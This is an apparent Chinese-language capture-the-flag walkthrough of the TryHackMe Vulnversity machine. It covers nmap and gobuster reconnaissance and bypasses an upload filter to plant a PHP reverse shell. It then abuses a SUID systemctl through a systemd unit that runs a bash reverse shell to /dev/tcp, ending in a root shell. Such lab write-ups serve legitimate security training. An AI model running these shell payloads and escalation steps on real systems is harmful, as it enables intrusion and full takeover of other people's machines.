1.侦查

使用Nmap进行主动信息收集

nmap 是一种免费、开源且功能强大的工具,用于发现计算机网络上的主机和服务。在我们的示例中,我们使用 nmap 扫描这台机器以识别在特定端口上运行的所有服务。nmap 有很多功能,下表总结了它提供的一些功能。

Nmap常用参数

nmap标志 描述
-sV 尝试确定正在运行的服务的版本
-p -p- 端口扫描端口 或扫描所有端口
-Pn 禁用主机发现并仅扫描开放端口
-A 启用操作系统和版本检测,执行内置脚本以进行进一步枚举
-SC 使用默认的 nmap 脚本进行扫描
-v 详细模式
-su UDP端口扫描
-sS TCP SYN端口扫描

问题:

  1. 扫描盒子,打开了多少个端口?
    由于tryhackme的靶机网络有一些延迟,使用nmap扫描可能会很慢,这里先使用-p1-10000扫描前10000个端口
    THM-Vulnversity(漏洞大学)-小白菜博客
    扫描到了6个端口,尝试提交答案
    THM-Vulnversity(漏洞大学)-小白菜博客
    如果答案不正确,我们需要继续使用-p参数继续扫描后面的端口

  2. 机器上运行的是什么版本的 squid 代理?
    根据上一题扫描的答案,可以看出3128端口开放squid服务
    THM-Vulnversity(漏洞大学)-小白菜博客
    使用-sV -p3128对该端口进行服务扫描,-n代表不进行域名解析
    THM-Vulnversity(漏洞大学)-小白菜博客
    得到答案

  3. 如果使用标志-p-400nmap 将扫描多少个端口?
    在考我们对Nmap的理解,这里如果-左右两边没有设置,默认从开头开始或者在末尾结束
    这里开头没有设置,默认从1端口开始,扫描的范围就是1-400端口
    答案就是400

  4. 使用 nmap 标志-n 它不能解决什么问题?
    答案是DNS

  5. 这台机器最有可能运行的操作系统是什么?
    这里可以猜测系统的类型,常见的操作系统也就那几个
    这里可以使用-O对目标系统进行扫描
    THM-Vulnversity(漏洞大学)-小白菜博客
    并没有得到想要的系统,使用-A对目标进行全面扫描,因为-A全面扫描也会附带-O的系统扫描,尝试使用这个参数猜测目标系统
    THM-Vulnversity(漏洞大学)-小白菜博客
    这里从3333端口Apache服务获取了目标的操作系统为Ubuntu

  6. Web 服务器在哪个端口上运行?
    THM-Vulnversity(漏洞大学)-小白菜博客
    根据刚刚扫描到的3333端口Apache服务可以确定这是一个Web服务

重要的是了解目标机器端口开放的情况(彻底)。了解所有开放的服务(它们都可能是利用点)非常重要,不要忘了可能有更改的端口开放,因此要始终扫描 1000 之后的端口(即使您将扫描留在后台)
说明:Nmap默认扫描1-1024端口开放信息

2.使用 GoBuster 进行目录探测

目录扫描的工具有很多,这里学习一个新的gobuster

首先查找目标隐藏的目录,GoBuster 是一种用于暴力破解 URI(目录和文件)、DNS子域和虚拟主机名的工具。对于这台机器,我们将专注于使用它来暴力破解目录

这里我们使用kali,使用sudo apt install gobuster安装

进行目录扫描我们需要一个单词列表,也就是字典,用于我们快速扫描目标目录,在kali中,/usr/share/wordlists目录中含有许多单词列表

现在让我们使用单词列表运行 GoBustergobuster dir -u http://<ip>:3333 -w <word list location>

GoBuster 描述
-e 在控制台中打印完整的 URL
-u 目标网址
-w 单词列表的路径
-U-P 基本身份验证的用户名和密码
-p 用于请求的代理
-c 指定用于模拟您的身份验证的 cookie
  1. 有上传表单页面的目录是什么?
    使用上述教给我们的gobuster进行目标进行目录扫描
gobuster dir -u http://10.10.174.124:3333/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e

使用的字典是/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirbuster目录扫描工具的字典
THM-Vulnversity(漏洞大学)-小白菜博客
最后扫描到了一个internal的目录,访问查看
THM-Vulnversity(漏洞大学)-小白菜博客
这是一个文件上传页面,很可疑,这就是我们所需要的答案

3.文件上传、反弹shell

现在我们已经找到了一个文件上传页面,使用该Web漏洞上传我们的有效载荷,然后执行反弹shell

首先准备一个内容为<?php phpinfo();?>的文件,后缀名为.php进行上传,这里的文件名为Junglezt.php
上传返回
THM-Vulnversity(漏洞大学)-小白菜博客
猜测可能不可以上传.php后缀的文件

这里可以对上传表单进行模糊测试

使用BurpsuiteIntruder进行自动化上传测试

首先我们需要一个词表(上传文件后缀名的词表):

确保我们拦截了文件上传提交的数据包。右键->发送到Intruder模块

上传数据包进行配置,设置为狙击手(sniper)模式,将.php设置为后缀名

进入Payloads选项这是单子列表,然后点击Start attack进行模糊测试

THM-Vulnversity(漏洞大学)-小白菜博客
根据返回长度可以看出phtml的文件可以上传成功,这里我们使用kali自带的php-reverse-shell.php进行反弹shell
位置在/usr/share/webshells/php

修改反弹shell的IP和端口

使用nc监听本机端口,等待靶机shell回弹

将修改后的php-reverse-shell.php的后缀名改为.phtml,并上传
THM-Vulnversity(漏洞大学)-小白菜博客
上传成功,寻找上传文件所在的目录

这里可以猜测上传目录为upload或者uploads,一般在当前目录下的,或者上一级目录下,可以猜测一下

这里我们使用gobuster对当前目录internal下的目录进行扫描
THM-Vulnversity(漏洞大学)-小白菜博客
扫描到了uploads目录,使用浏览器访问

THM-Vulnversity(漏洞大学)-小白菜博客
可以看到其中存在刚刚上传的Junglezt.phtml、php-reverse-shell.phtml文件,访问php-reverse-shell.phtml文件

然后回到查看nc是否回连

这里成功获取目标机器的www-data的权限

  1. 管理网络服务器的用户的名称是什么?
    获取权限后查看/etc/passwd获取

  2. 什么是用户标志?
    这里猜测是bill用户的文件,追踪到该用户家目录

4.特权升级

现在是最后一步,我们将要对目标进行权限的提升,目标是获取更高的权限,因为www-data用户可以做的事情实在是很少

Linux中,SUID(set owner userId upon execution) 是赋予文件的一种特殊类型的文件权限。SUID 为用户提供临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件

例如:用于更改密码的二进制文件/usr/bin/passwd设置了SUID位,如果普通用户使用/usr/bin/passwd是没有权限的,只有root可以使用,但是该二进制文件设置了SUID位,我们就可以在执行该二进制文件的时候以root的身份运行。也就是普通的用户也可以更改任何用户的密码。

这样错误的SUID权限可能会导致权限提升的漏洞

  1. 在系统上,搜索所有 SUID 文件。什么文件脱颖而出?
    使用find搜索存在SUID权限的文件、
find / -perm -04000 -type f -print 2>/dev/null 

THM-Vulnversity(漏洞大学)-小白菜博客
这里经过查阅/bin/systemctl命令存在SUID提权漏洞

首先进入/dev/shm目录,写入一个后缀名为.service的文件,内容为

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target

我们需要使用echo或者vim命令进行写入,由于目标的shell不是交互式shell,操作不太方便,这里我们将其提升为交互式shell`

  1. 输入python -c 'import pty;pty.spawn("/bin/bash")',获得一个bashshell
  2. 然后执行export TERM=xterm
  3. 输入快捷键CTRL + Z,将nc切入后台运行
  4. 输入命令stty raw -echo; fg,然后摁下回车,这样我们就拥有了一个交互式shell

现在使用echo写入mm.service,注意,写入目录一定是/dev/shm/

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service

然后监听本机的5555端口,改端口是/dev/tcp/IP/PORT指定的

然后依次执行以下两条命令,就会反弹一个root的shell

systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service

成功获得root的shell

参考:suid-systemctl提权

  1. 获得最后一个标志/root/root.txt